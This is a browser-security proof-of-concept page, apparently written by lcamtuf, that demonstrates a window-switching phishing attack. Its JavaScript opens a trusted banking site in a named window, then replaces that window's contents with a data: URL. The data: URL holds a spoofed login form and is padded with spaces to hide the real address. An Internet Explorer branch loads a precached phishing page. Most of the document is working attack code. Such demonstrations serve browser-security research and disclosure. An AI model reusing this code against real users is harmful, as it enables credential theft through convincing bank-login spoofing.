JavaScript Switcharoo Proof Of Concept

`/*   
  
Another whimsical browser proof-of-concept:  
  
http://lcamtuf.coredump.cx/switch/  
  
It seems that relatively few people realize that holding a JavaScript  
handle to another window (either because we opened it, or because the  
window was at some point displaying our content) allows the attacker  
to tamper with the location and history objects at will, largely  
bypassing the usual SOP controls. With some minimal effort and the  
help of data: / javascript: URLs or precached pages, this can be  
leveraged to replace content in a manner that will likely escape even  
fairly attentive users.  
  
/mz  
  
*/  
  
  
  
<script>  
  
/*  
If you don't get it, beaver.coredump.cx is a trusted banking website;  
everything else is attacker-controlled. We begin by opening the  
legitimate, trusted website. Timing is essential. Once the banking   
website is loaded, follow the displayed security tip.  
  
*/  
  
var spaces =   
" " +  
" " +  
" " +  
" " +  
" " +  
" " +  
" " +  
" ";  
  
var bank_html =  
"<title>Beaver Creek Online Banking and BBQ</title>" +   
"<h1>Beaver Creek Online Banking and BBQ</h1>" +  
"<p>" +  
"<font color=crimson>Security tip: please confirm that you see " +  
"<code>http://beaver.coredump.cx/</code> in the address bar!</font>" +  
"<p><table><tr>" +  
"<td>Login:</td><td><input type=text></td></tr><tr>" +  
"<td>Password:</td><td><input type=password></td></tr></table><p>" +  
"<input type=submit value='Log in!'>";  
  
var w;  
  
function dostuff() {  
  
/* Precache */  
  
if ('v' == '\v') {  
var x = new Image();  
x.src = 'http://spoofed.coredump.cx/phish/';  
}  
  
w = window.open('http://beaver.coredump.cx/beaver/', 'target');  
  
setTimeout(dostuff2, 5000);  
  
}  
  
  
function dostuff2() {  
  
if ('v' == '\v')  
w.open('http://spoofed.coredump.cx/phish/','target');  
else   
w.location.replace('data:text/html;np.cx/beaver/' + spaces + ',' + escape(bank_html));  
  
}  
  
</script>  
<h3>The old switcharoo</h3>  
This is hardly new, but illustrates the effectiveness of using  
data: or precached content to do the deed. You're probably  
fooling yourself if you think you'd spot this happening to you  
in the wild.  
<p>  
<input type=submit onclick="dostuff()" value="Do it">  
<p>  
<font color=gray>PS. If you don't get it, close the window and try again. If you're still stumped, view the source.</font>  
  
  
`